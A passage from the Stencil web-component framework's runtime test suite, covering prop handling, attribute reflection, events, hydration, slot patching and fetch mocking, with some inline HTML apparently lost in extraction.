'some-customName' }) customAttr: string; render() { return `${this.customAttr}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` some-customName `); expect(root.textContent).toBe('some-customName'); expect(root.customAttr).toBe('some-customName'); }); describe('already set', () => { it('set boolean, "false"', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() bool: boolean; render() { return `${this.bool}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` false `); expect(root.textContent).toBe('false'); expect(root.bool).toBe(false); // reset root.setAttribute('bool', ''); expect(root.bool).toBe(true); // check setAttribute root.setAttribute('bool', 'false'); expect(root.bool).toBe(false); }); it('set boolean, undefined when missing attribute', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() bool: boolean; render() { return `${this.bool}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` undefined `); expect(root.textContent).toBe('undefined'); expect(root.bool).toBe(undefined); }); it('set boolean, "true"', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() bool: boolean; render() { return `${this.bool}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` true `); expect(root.textContent).toBe('true'); expect(root.bool).toBe(true); // reset root.removeAttribute('bool'); expect(root.bool).toBe(false); // check setAttribute root.setAttribute('bool', 'true'); expect(root.bool).toBe(true); }); it('set boolean true from no attribute value', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() bool: boolean; render() { return `${this.bool}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` true `); expect(root.textContent).toBe('true'); expect(root.bool).toBe(true); // reset root.removeAttribute('bool'); expect(root.bool).toBe(false); // check setAttribute (root as HTMLElement).setAttribute('bool', ''); expect(root.bool).toBe(true); }); it('set boolean true from empty string', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() bool: boolean; render() { return `${this.bool}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` true `); expect(root.textContent).toBe('true'); expect(root.bool).toBe(true); // reset root.removeAttribute('bool'); expect(root.bool).toBe(false); // check setAttribute root.setAttribute('bool', ''); expect(root.bool).toBe(true); }); it('set boolean true from any other string apart from "false"', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() bool: boolean; render() { return `${this.bool}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` true `); expect(root.textContent).toBe('true'); expect(root.bool).toBe(true); // reset root.removeAttribute('bool'); expect(root.bool).toBe(false); // check setAttribute root.setAttribute('bool', 'anything'); expect(root.bool).toBe(true); }); it('set zero', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() num: number; render() { return `${this.num}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` 0 `); expect(root.textContent).toBe('0'); expect(root.num).toBe(0); }); it('set number', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() num: number; render() { return `${this.num}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` 88 `); expect(root.textContent).toBe('88'); expect(root.num).toBe(88); }); it('set string', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() str: string; render() { return `${this.str}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` string `); expect(root.textContent).toBe('string'); expect(root.str).toBe('string'); }); it('set empty string', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() str: string; render() { return `${this.str}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` `); expect(root.textContent).toBe(''); expect(root.str).toBe(''); }); }); describe('reflect', () => { it('should reflect properties as attributes', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Element() el: any; @Prop({ reflect: true }) str = 'single'; @Prop({ reflect: true }) nu = 2; @Prop({ reflect: true }) undef: string; @Prop({ reflect: true }) null: string = null; @Prop({ reflect: true }) bool = false; @Prop({ reflect: true }) otherBool = true; @Prop({ reflect: true }) disabled = false; @Prop({ reflect: true, mutable: true }) dynamicStr: string; @Prop({ reflect: true }) dynamicNu: number; private _getset = 'prop via getter'; @Prop({ reflect: true }) get getSet() { return this._getset; } set getSet(newVal: string) { this._getset = newVal; } componentWillLoad() { this.dynamicStr = 'value'; this.el.dynamicNu = 123; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` `); root.str = 'second'; root.nu = -12.2; root.undef = 'no undef'; root.null = 'no null'; root.bool = true; root.otherBool = false; root.getSet = 'prop set via setter'; await waitForChanges(); expect(root).toEqualHtml(` `); }); it('should reflect properties as attributes with strict build', async () => { @Component({ tag: 'cmp-a', shadow: true }) class CmpA { @Prop({ reflect: true }) foo = 'bar'; render() { return
Hello world
; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, strictBuild: true, }); expect(root).toEqualHtml(`
Hello world
`); }); it('should reflect draggable', async () => { @Component({ tag: 'cmp-draggable', shadow: true }) class CmpABC { @Prop() foo = false; render() { return (
); } } const { root, waitForChanges } = await newSpecPage({ components: [CmpABC], html: ``, }); expect(root).toEqualHtml(`
`); root.foo = true; await waitForChanges(); expect(root).toEqualHtml(`
`); }); }); }); ================================================ FILE: src/runtime/test/before-each.spec.tsx ================================================ import { newSpecPage } from '@stencil/core/testing'; import { CmpA } from './fixtures/cmp-a'; describe('newSpecPage, spec testing', () => { let page: any; let root: any; beforeEach(async () => { page = await newSpecPage({ components: [CmpA], includeAnnotations: true, html: '', }); root = page.root; }); it('renders changes when first property is given', async () => { root.first = 'John'; await page.waitForChanges(); const div = root.shadowRoot.querySelector('div'); expect(div.textContent).toEqual(`Hello, World! I'm John`); }); it('renders changes when first and last properties are given', async () => { root.first = 'Marty'; root.last = 'McFly'; await page.waitForChanges(); const div = root.shadowRoot.querySelector('div'); expect(div.textContent).toEqual(`Hello, World! I'm Marty McFly`); }); it('renders changes to the name data', async () => { expect(root).toEqualHtml(`
Hello, World! I'm
`); expect(root).toHaveClass('hydrated'); const div = root.shadowRoot.querySelector('div'); expect(div.textContent).toEqual(`Hello, World! I'm `); root.first = 'Doc'; await page.waitForChanges(); expect(div.textContent).toEqual(`Hello, World! I'm Doc`); root.last = 'Brown'; await page.waitForChanges(); expect(div.textContent).toEqual(`Hello, World! I'm Doc Brown`); root.middle = 'Emmett'; await page.waitForChanges(); expect(div.textContent).toEqual(`Hello, World! I'm Doc Emmett Brown`); }); it('should emit "initevent" on init', async () => { root.addEventListener( 'initevent', (ev: CustomEvent) => { expect(ev.detail.init).toBeTruthy(); }, false, ); root.init(); await page.waitForChanges(); }); it('should respond to "testevent"', async () => { const myevent = new CustomEvent('testevent', { detail: { last: 'Jeep', }, }); page.doc.dispatchEvent(myevent); await page.waitForChanges(); const div = root.shadowRoot.querySelector('div'); expect(div.textContent).toEqual(`Hello, World! I'm Jeep`); }); }); ================================================ FILE: src/runtime/test/bootstrap-lazy.spec.tsx ================================================ import { win } from '@platform'; import { LazyBundlesRuntimeData } from '../../internal'; import { bootstrapLazy } from '../bootstrap-lazy'; describe('bootstrap lazy', () => { it('should not inject invalid CSS when no lazy bundles are provided', () => { const spy = jest.spyOn(win.document.head, 'insertBefore'); bootstrapLazy([]); expect(spy).not.toHaveBeenCalledWith( expect.objectContaining({ sheet: expect.objectContaining({ cssRules: [ expect.objectContaining({ // This html is not valid since it does not start with a selector for the visibility hidden block cssText: '{visibility:hidden}.hydrated{visibility:inherit}', }), ], }), }), null, ); }); it('should not inject invalid CSS when components are already in custom element registry', () => { const spy = jest.spyOn(win.document.head, 'insertBefore'); const lazyBundles: LazyBundlesRuntimeData = [ ['my-component', [[0, 'my-component', { first: [1], middle: [1], last: [1] }]]], ]; bootstrapLazy(lazyBundles); expect(spy).toHaveBeenCalledWith( expect.objectContaining({ sheet: expect.objectContaining({ cssRules: [ expect.objectContaining({ cssText: 'my-component{visibility:hidden}.hydrated{visibility:inherit}', }), ], }), }), null, ); bootstrapLazy(lazyBundles); expect(spy).not.toHaveBeenCalledWith( expect.objectContaining({ sheet: expect.objectContaining({ cssRules: [ expect.objectContaining({ // This html is not valid since it does not start with a selector for the visibility hidden block cssText: '{visibility:hidden}.hydrated{visibility:inherit}', }), ], }), }), null, ); }); }); ================================================ FILE: src/runtime/test/client-hydrate-to-vdom.spec.tsx ================================================ import { Component, h, Host } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; import type * as d from '../../declarations'; import { initializeClientHydrate } from '../client-hydrate'; describe('initializeClientHydrate', () => { it('functional', async () => { const Logo = () => ( Ionic Docs ); @Component({ tag: 'cmp-a' }) class CmpA { render() { return (
); } } const serverHydrated = await newSpecPage({ components: [CmpA], html: ``, hydrateServerSide: true, }); const hostElm = document.createElement('cmp-a'); hostElm.innerHTML = serverHydrated.root.innerHTML; const hostRef: d.HostRef = { $flags$: 0, }; initializeClientHydrate(hostElm, 'cmp-a', '1', hostRef); const cmpAvnode = hostRef.$vnode$; expect(cmpAvnode.$tag$).toBe('cmp-a'); expect(cmpAvnode.$children$).toHaveLength(1); expect(cmpAvnode.$children$[0].$tag$).toBe('header'); expect(cmpAvnode.$children$[0].$children$).toHaveLength(1); expect(cmpAvnode.$children$[0].$children$[0].$tag$).toBe('svg'); expect(cmpAvnode.$children$[0].$children$[0].$children$).toHaveLength(1); expect(cmpAvnode.$children$[0].$children$[0].$children$[0].$tag$).toBe('title'); expect(cmpAvnode.$children$[0].$children$[0].$children$[0].$children$).toHaveLength(1); expect(cmpAvnode.$children$[0].$children$[0].$children$[0].$children$[0].$text$).toBe('Ionic Docs'); }); it('text child', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { return 88mph; } } const serverHydrated = await newSpecPage({ components: [CmpA], html: ``, hydrateServerSide: true, }); const hostElm = document.createElement('cmp-a'); hostElm.innerHTML = serverHydrated.root.innerHTML; const hostRef: d.HostRef = { $flags$: 0, }; initializeClientHydrate(hostElm, 'cmp-a', '1', hostRef); const cmpAvnode = hostRef.$vnode$; expect(cmpAvnode.$tag$).toBe('cmp-a'); expect(cmpAvnode.$children$).toHaveLength(1); expect(cmpAvnode.$children$[0].$text$.trim()).toBe('88mph'); }); }); ================================================ FILE: src/runtime/test/component-class.spec.tsx ================================================ import { Component, Element } from '@stencil/core'; describe('component class only', () => { it('raw class without newSpecPage', async () => { @Component({ tag: 'cmp-a', }) class CmpA { sumb(a: number, b: number) { return a + b; } } const instance = new CmpA(); expect(instance.sumb(67, 21)).toEqual(88); }); it('mock element', async () => { @Component({ tag: 'cmp-a', }) class CmpA { @Element() elm: HTMLElement; } const instance = new CmpA(); expect(instance.elm.tagName).toEqual('CMP-A'); }); }); ================================================ FILE: src/runtime/test/component-error-handling.spec.tsx ================================================ import { Component, ComponentInterface, h, Prop, setErrorHandler } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; describe('component error handling', () => { it('calls a handler with an error and element during every lifecycle hook and render', async () => { @Component({ tag: 'cmp-a' }) class CmpA implements ComponentInterface { @Prop() reRender = false; componentWillLoad() { throw new Error('componentWillLoad'); } componentDidLoad() { throw new Error('componentDidLoad'); } componentWillRender() { throw new Error('componentWillRender'); } componentDidRender() { throw new Error('componentDidRender'); } componentWillUpdate() { throw new Error('componentWillUpdate'); } componentDidUpdate() { throw new Error('componentDidUpdate'); } render() { if (!this.reRender) return
; else throw new Error('render'); } } const customErrorHandler = (e: Error, el: HTMLElement) => { if (!el) return; el.dispatchEvent( new CustomEvent('componentError', { bubbles: true, cancelable: true, composed: true, detail: e, }), ); }; setErrorHandler(customErrorHandler); const { doc, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); const handler = jest.fn(); doc.addEventListener('componentError', handler); const cmpA = document.createElement('cmp-a') as any; doc.body.appendChild(cmpA); try { await waitForChanges(); } catch (e) {} cmpA.reRender = true; try { await waitForChanges(); } catch (e) {} return Promise.resolve().then(() => { expect(handler).toHaveBeenCalledTimes(9); expect(handler.mock.calls[0][0].bubbles).toBe(true); expect(handler.mock.calls[0][0].cancelable).toBe(true); expect(handler.mock.calls[0][0].detail).toStrictEqual(Error('componentWillLoad')); expect(handler.mock.calls[1][0].detail).toStrictEqual(Error('componentWillRender')); expect(handler.mock.calls[2][0].detail).toStrictEqual(Error('componentDidRender')); expect(handler.mock.calls[3][0].detail).toStrictEqual(Error('componentDidLoad')); expect(handler.mock.calls[4][0].detail).toStrictEqual(Error('componentWillUpdate')); expect(handler.mock.calls[5][0].detail).toStrictEqual(Error('componentWillRender')); expect(handler.mock.calls[6][0].detail).toStrictEqual(Error('render')); expect(handler.mock.calls[7][0].detail).toStrictEqual(Error('componentDidRender')); expect(handler.mock.calls[8][0].detail).toStrictEqual(Error('componentDidUpdate')); }); }); }); ================================================ FILE: src/runtime/test/dom-extras.spec.tsx ================================================ import { Component, h, Host } from '@stencil/core'; import { newSpecPage, SpecPage } from '@stencil/core/testing'; import { patchPseudoShadowDom, patchSlottedNode } from '../../runtime/dom-extras'; describe('dom-extras - patches for non-shadow dom methods and accessors', () => { let specPage: SpecPage; const nodeOrEleContent = (node: Node | Element) => { return (node as Element)?.outerHTML || node?.nodeValue?.trim(); }; beforeEach(async () => { @Component({ tag: 'cmp-a', scoped: true, }) class CmpA { render() { return ( 'Shadow' first text node
Second slot fallback text
Default slot fallback text
'Shadow' last text node
); } } specPage = await newSpecPage({ components: [CmpA], html: ` Some default slot, slotted text a default slot, slotted element
a second slot, slotted element nested element in the second slot
`, hydrateClientSide: true, }); patchPseudoShadowDom(specPage.root); }); it('patches `childNodes` to return only nodes that have been slotted', async () => { const childNodes = specPage.root.childNodes; expect(nodeOrEleContent(childNodes[0])).toBe(`Some default slot, slotted text`); expect(nodeOrEleContent(childNodes[1])).toBe(`a default slot, slotted element`); expect(nodeOrEleContent(childNodes[2])).toBe(``); expect(nodeOrEleContent(childNodes[3])).toBe( `
a second slot, slotted element nested element in the second slot
`, ); const innerChildNodes = specPage.root.__childNodes; expect(nodeOrEleContent(innerChildNodes[0])).toBe(``); expect(nodeOrEleContent(innerChildNodes[1])).toBe(``); expect(nodeOrEleContent(innerChildNodes[2])).toBe(``); expect(nodeOrEleContent(innerChildNodes[3])).toBe(``); expect(nodeOrEleContent(innerChildNodes[4])).toBe(``); expect(nodeOrEleContent(innerChildNodes[5])).toBe(`'Shadow' first text node`); }); it('patches `children` to return only elements that have been slotted', async () => { const children = specPage.root.children; expect(nodeOrEleContent(children[0])).toBe(`a default slot, slotted element`); expect(nodeOrEleContent(children[1])).toBe( `
a second slot, slotted element nested element in the second slot
`, ); expect(nodeOrEleContent(children[2])).toBe(undefined); }); it('patches `childElementCount` to only count elements that have been slotted', async () => { expect(specPage.root.childElementCount).toBe(2); }); it('patches `textContent` to only return slotted node text', async () => { expect(specPage.root.textContent.replace(/\s+/g, ' ').trim()).toBe( `Some default slot, slotted text a default slot, slotted element a second slot, slotted element nested element in the second slot`, ); }); it('firstChild', async () => { expect(nodeOrEleContent(specPage.root.firstChild)).toBe(`Some default slot, slotted text`); }); it('lastChild', async () => { expect(nodeOrEleContent(specPage.root.lastChild)).toBe( `
a second slot, slotted element nested element in the second slot
`, ); }); it('patches nextSibling / previousSibling accessors of slotted nodes', async () => { specPage.root.childNodes.forEach((node: Node) => patchSlottedNode(node)); expect(nodeOrEleContent(specPage.root.firstChild)).toBe('Some default slot, slotted text'); expect(nodeOrEleContent(specPage.root.firstChild.nextSibling)).toBe('a default slot, slotted element'); expect(nodeOrEleContent(specPage.root.firstChild.nextSibling.nextSibling)).toBe(``); expect(nodeOrEleContent(specPage.root.firstChild.nextSibling.nextSibling.nextSibling)).toBe( `
a second slot, slotted element nested element in the second slot
`, ); // back we go! expect(nodeOrEleContent(specPage.root.firstChild.nextSibling.nextSibling.nextSibling.previousSibling)).toBe(``); expect( nodeOrEleContent(specPage.root.firstChild.nextSibling.nextSibling.nextSibling.previousSibling.previousSibling), ).toBe(`a default slot, slotted element`); expect( nodeOrEleContent( specPage.root.firstChild.nextSibling.nextSibling.nextSibling.previousSibling.previousSibling.previousSibling, ), ).toBe(`Some default slot, slotted text`); }); it('patches nextElementSibling / previousElementSibling accessors of slotted nodes', async () => { specPage.root.childNodes.forEach((node: Node) => patchSlottedNode(node)); expect(nodeOrEleContent(specPage.root.children[0].nextElementSibling)).toBe( '
a second slot, slotted element nested element in the second slot
', ); expect(nodeOrEleContent(specPage.root.children[0].nextElementSibling.previousElementSibling)).toBe( 'a default slot, slotted element', ); }); it('patches parentNode of slotted nodes', async () => { specPage.root.childNodes.forEach((node: Node) => patchSlottedNode(node)); expect(specPage.root.children[0].parentNode.tagName).toBe('CMP-A'); expect(specPage.root.children[1].parentNode.tagName).toBe('CMP-A'); expect(specPage.root.childNodes[0].parentNode.tagName).toBe('CMP-A'); expect(specPage.root.childNodes[1].parentNode.tagName).toBe('CMP-A'); expect(specPage.root.children[0].__parentNode.tagName).toBe('DIV'); expect(specPage.root.childNodes[0].__parentNode.tagName).toBe('DIV'); }); }); ================================================ FILE: src/runtime/test/element.spec.tsx ================================================ import { Component, Element, Method } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; describe('element', () => { it('allows the class to be set', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Element() el: HTMLElement; @Method() setClassNow() { this.el.classList.add('new-class'); } } // @ts-ignore const page = await newSpecPage({ components: [CmpA], html: ``, }); expect(page.root).toEqualHtml(` `); await page.root.setClassNow(); await page.waitForChanges(); expect(page.root).toEqualHtml(` `); }); }); ================================================ FILE: src/runtime/test/event.spec.tsx ================================================ import { Component, Element, Event, EventEmitter, h, Listen, Method, resolveVar, State } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; describe('event', () => { it('event normal ionChange event', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Event() ionChange: EventEmitter; @State() counter = 0; @Listen('ionChange') onIonChange() { this.counter++; } @Method() emitEvent() { const event = this.ionChange.emit(); expect(event.type).toEqual('ionChange'); } render() { return `${this.counter}`; } } const page = await newSpecPage({ components: [CmpA], html: ``, }); expect(page.root).toEqualHtml(` 0 `); await page.root.emitEvent(); await page.waitForChanges(); expect(page.root).toEqualHtml(` 1 `); let called = false; page.root.addEventListener('ionChange', (ev: CustomEvent) => { expect(ev.bubbles).toBe(true); expect(ev.cancelable).toBe(true); expect(ev.composed).toBe(true); called = true; }); await page.root.emitEvent(); await page.waitForChanges(); expect(called).toBe(true); expect(page.root).toEqualHtml(` 2 `); }); it('should set Event in constructor before users constructor statements', async () => { @Component({ tag: 'cmp-a' }) class CmpA { constructor() { this.style.emit(); } @Event() style: EventEmitter; } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` `); }); it('should have custom name', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Event({ eventName: 'ionStyle' }) style: EventEmitter; @State() counter = 0; @Listen('ionStyle') onIonStyle() { this.counter++; } @Method() emitEvent() { this.style.emit(); } render() { return `${this.counter}`; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` 0 `); let called = false; root.addEventListener('ionStyle', (ev: CustomEvent) => { expect(ev.bubbles).toBe(true); expect(ev.cancelable).toBe(true); expect(ev.composed).toBe(true); called = true; }); await root.emitEvent(); await waitForChanges(); expect(called).toBe(true); expect(root).toEqualHtml(` 1 `); }); it('should have different default settings', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Event({ eventName: 'ionStyle', bubbles: false, composed: false, cancelable: false, }) style: EventEmitter; @State() counter = 0; @Listen('ionStyle') onIonStyle() { this.counter++; } @Method() emitEvent() { this.style.emit(); } render() { return `${this.counter}`; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` 0 `); let called = false; root.addEventListener('ionStyle', (ev: CustomEvent) => { expect(ev.bubbles).toBe(false); expect(ev.cancelable).toBe(false); expect(ev.composed).toBe(false); called = true; }); await root.emitEvent(); await waitForChanges(); expect(called).toBe(true); expect(root).toEqualHtml(` 1 `); }); describe('KeyboardEvent', () => { it('can be dispatched', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @State() counter = 0; @Listen('keydown') onKeyDown() { this.counter++; } render() { return `${this.counter}`; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` 0 `); const ev = new KeyboardEvent('keydown'); root.dispatchEvent(ev); await waitForChanges(); expect(root).toEqualHtml(` 1 `); }); it('can be dispatched with custom data', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @State() key: string; @State() shift: string; @Listen('keydown') onKeyDown(ev: KeyboardEvent) { this.key = ev.key; this.shift = ev.shiftKey ? 'Yes' : 'No'; } render() { return `${this.key || ''} - ${this.shift || ''}`; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` - `); const ev = new KeyboardEvent('keydown', { key: 'A', shiftKey: true }); root.dispatchEvent(ev); await waitForChanges(); expect(root).toEqualHtml(` A - Yes `); }); }); describe('MouseEvent', () => { it('can be dispatched', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @State() counter = 0; @Listen('onclick') onClick() { this.counter++; } render() { return `${this.counter}`; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` 0 `); const ev = new MouseEvent('onclick'); root.dispatchEvent(ev); await waitForChanges(); expect(root).toEqualHtml(` 1 `); }); it('can be dispatched with custom data', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @State() screenX: string; @State() shift: string; @Listen('onclick') onClick(ev: MouseEvent) { this.screenX = ev.screenX.toString(); this.shift = ev.shiftKey ? 'Yes' : 'No'; } render() { return `${this.screenX || ''} - ${this.shift || ''}`; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` - `); const ev = new MouseEvent('onclick', { screenX: 99, shiftKey: true }); root.dispatchEvent(ev); await waitForChanges(); expect(root).toEqualHtml(` 99 - Yes `); }); }); it('should prevent infinite recursion when blur event handler calls blur', async () => { @Component({ tag: 'cmp-blur-recursion' }) class CmpBlurRecursion { @Element() el!: HTMLElement; @State() blurCount = 0; @State() inputValue = ''; @Listen('blur') handleBlur() { this.blurCount++; // This simulates the scenario where a blur handler // tries to blur an input element const input = this.el.querySelector('input'); if (input && this.blurCount < 5) { // Only try to blur if we haven't reached our limit // This prevents the test from running forever if the fix doesn't work input.blur(); } } @Method() async triggerBlur() { const input = this.el.querySelector('input'); if (input) { input.blur(); } } render() { return h( 'div', null, h('input', { value: this.inputValue, onInput: (e: any) => (this.inputValue = (e.target as HTMLInputElement).value), }), h('div', null, `Blur count: ${this.blurCount}`), ); } } const { root, waitForChanges } = await newSpecPage({ components: [CmpBlurRecursion], html: ``, }); expect(root).toEqualHtml(`
Blur count: 0
`); // Trigger the blur event that should NOT cause infinite recursion await root.triggerBlur(); await waitForChanges(); // The blur count should be 1, not cause infinite recursion expect(root).toEqualHtml(`
Blur count: 1
`); }); describe('resolveVar', () => { it('should emit event with resolved const variable name', async () => { const MY_EVENT = 'myEvent'; @Component({ tag: 'cmp-a' }) class CmpA { @Event({ eventName: resolveVar(MY_EVENT) }) myEvent: EventEmitter; @State() counter = 0; @Listen(resolveVar(MY_EVENT)) onMyEvent() { this.counter++; } @Method() emitEvent() { this.myEvent.emit(); } render() { return `${this.counter}`; } } const page = await newSpecPage({ components: [CmpA], html: ``, }); expect(page.root).toEqualHtml(` 0 `); await page.root.emitEvent(); await page.waitForChanges(); expect(page.root).toEqualHtml(` 1 `); }); it('should emit event with resolved object property name', async () => { const EVENTS = { MY_EVENT: 'myEvent', } as const; @Component({ tag: 'cmp-a' }) class CmpA { @Event({ eventName: resolveVar(EVENTS.MY_EVENT) }) myEvent: EventEmitter; @State() counter = 0; @Listen(resolveVar(EVENTS.MY_EVENT)) onMyEvent() { this.counter++; } @Method() emitEvent() { this.myEvent.emit(); } render() { return `${this.counter}`; } } const page = await newSpecPage({ components: [CmpA], html: ``, }); expect(page.root).toEqualHtml(` 0 `); await page.root.emitEvent(); await page.waitForChanges(); expect(page.root).toEqualHtml(` 1 `); }); }); }); ================================================ FILE: src/runtime/test/extends-basic.spec.tsx ================================================ import { Component, h, Prop, Watch } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; declare global { namespace JSX { interface IntrinsicElements { [elemName: string]: any; } } } describe('extends', () => { it('renders a component that extends from a base class', async () => { class Base { baseProp = 'base'; } @Component({ tag: 'cmp-a' }) class CmpA extends Base { render() { return `${this.baseProp}`; } } const page = await newSpecPage({ components: [CmpA], html: ``, }); expect(page.root).toEqualHtml(` base `); }); it('should call inherited watch methods when props change', async () => { let called = 0; class BaseWatch { @Prop() foo: string; @Watch('foo') fooChanged() { called++; } } @Component({ tag: 'extended-component' }) class ExtendedComponent extends BaseWatch { render() { return
{this.foo}
; } } const { root } = await newSpecPage({ components: [ExtendedComponent], html: ``, }); expect(called).toBe(0); root.foo = '1'; expect(called).toBe(1); expect(root.foo).toBe('1'); }); }); ================================================ FILE: src/runtime/test/fetch.spec.tsx ================================================ import { Component, h, Host, Prop } from '@stencil/core'; import { mockFetch, MockHeaders, MockResponse, newSpecPage } from '@stencil/core/testing'; describe('fetch', () => { afterEach(() => { mockFetch.reset(); }); @Component({ tag: 'cmp-a', }) class CmpA { @Prop() data: string; names: string[]; text: string; headers: string[]; async componentWillLoad() { const url = `/${this.data}`; const rsp = await fetch(url); this.headers = []; rsp.headers.forEach((v, k) => { this.headers.push(k + ': ' + v); }); if (url.endsWith('.json')) { const data = await rsp.json(); this.text = null; this.names = data.names; } else { this.text = await rsp.text(); this.names = null; } } render() { return (
    {this.headers.map((n) => (
  • {n}
  • ))}
{this.names ? (
    {this.names.map((n) => (
  • {n}
  • ))}
) : null} {this.text ?

{this.text}

: null}
); } } it('should mock json fetch, no input', async () => { mockFetch.json({ names: ['Marty', 'Doc'] }); const page = await newSpecPage({ components: [CmpA], html: ``, }); expect(page.root).toEqualHtml(`
  • content-type: application/json
  • Marty
  • Doc
`); }); it('should mock json fetch, url input', async () => { mockFetch.json({ names: ['Marty', 'Doc'] }, '/hillvalley.json'); mockFetch.json({ names: ['Bo', 'Luke'] }, '/hazzard.json'); const page = await newSpecPage({ components: [CmpA], html: ``, }); expect(page.root).toEqualHtml(`
  • content-type: application/json
  • Bo
  • Luke
`); }); it('basic', async () => { mockFetch.json({ names: ['Marty', 'Doc'] }, '/hillvalley.json'); mockFetch.json({ names: ['Bo', 'Luke'] }, '/hazzard.json'); const page = await newSpecPage({ components: [CmpA], html: ``, }); expect(page.root).toEqualHtml(`
  • content-type: application/json
  • Bo
  • Luke
`); }); it('MockRequest text', async () => { const res = new MockResponse('10:04', { url: '/hillvalley.txt', headers: new MockHeaders([ ['Content-Type', 'text/plain'], ['Access-Control-Allow-Origin', '*'], ]), }); mockFetch.response(res); const page = await newSpecPage({ components: [CmpA], html: ``, }); expect(page.root).toEqualHtml(`
  • content-type: text/plain
  • access-control-allow-origin: *

10:04

`); }); it('404', async () => { const page = await newSpecPage({ components: [CmpA], html: ``, }); expect(page.root).toEqualHtml(`
  • content-type: text/plain

Not Found

`); }); it('global Request/Response/Headers should work', () => { const headers = new Headers(); headers.set('x-header', 'value'); const request = new Request('http://testing.stenciljs.com/some-url', { headers, }); expect(request.url).toBe('http://testing.stenciljs.com/some-url'); expect(request.headers.get('x-header')).toBe('value'); }); }); ================================================ FILE: src/runtime/test/fixtures/cmp-a.css ================================================ :host { color: red; } ================================================ FILE: src/runtime/test/fixtures/cmp-a.tsx ================================================ import { Component, Event, EventEmitter, h, Listen, Method, Prop, State, Watch } from '@stencil/core'; import { format } from './utils'; @Component({ tag: 'cmp-a', styleUrl: 'cmp-a.css', shadow: true, }) export class CmpA { // ************************ // * Property Definitions * // ************************ /** * The first name */ @Prop() first: string; /** * The middle name */ @Prop() middle: string; /** * The last name */ @Prop() last: string; // ************************ // * State Definitions * // ************************ @State() innerFirst: string; @State() innerMiddle: string; @State() innerLast: string; // ***************************** // * Watch on Property Changes * // ***************************** @Watch('first') parseFirstProp(newValue: string) { this.innerFirst = newValue ? newValue : ''; } @Watch('middle') parseMiddleProp(newValue: string) { this.innerMiddle = newValue ? newValue : ''; } @Watch('last') parseLastProp(newValue: string) { this.innerLast = newValue ? newValue : ''; } // ********************* // * Event Definitions * // ********************* /** * Emitted when the component Loads */ @Event() initevent: EventEmitter; // ******************************* // * Listen to Event Definitions * // ******************************* @Listen('testevent', { target: 'document' }) handleTestEvent(event: CustomEvent) { this.parseLastProp(event.detail.last ? event.detail.last : ''); } // ********************** // * Method Definitions * // ********************** @Method() init(): Promise { return Promise.resolve(this._init()); } // ********************************* // * Internal Variable Definitions * // ********************************* // ******************************* // * Component Lifecycle Methods * // ******************************* async componentWillLoad() { await this.init(); } // ****************************** // * Private Method Definitions * // ****************************** private async _init(): Promise { this.parseFirstProp(this.first ? this.first : ''); this.parseMiddleProp(this.middle ? this.middle : ''); this.parseLastProp(this.last ? this.last : ''); this.initevent.emit({ init: true }); return; } private getText(): string { return format(this.innerFirst, this.innerMiddle, this.innerLast); } // ************************* // * Rendering JSX Element * // ************************* render() { return
Hello, World! I'm {this.getText()}
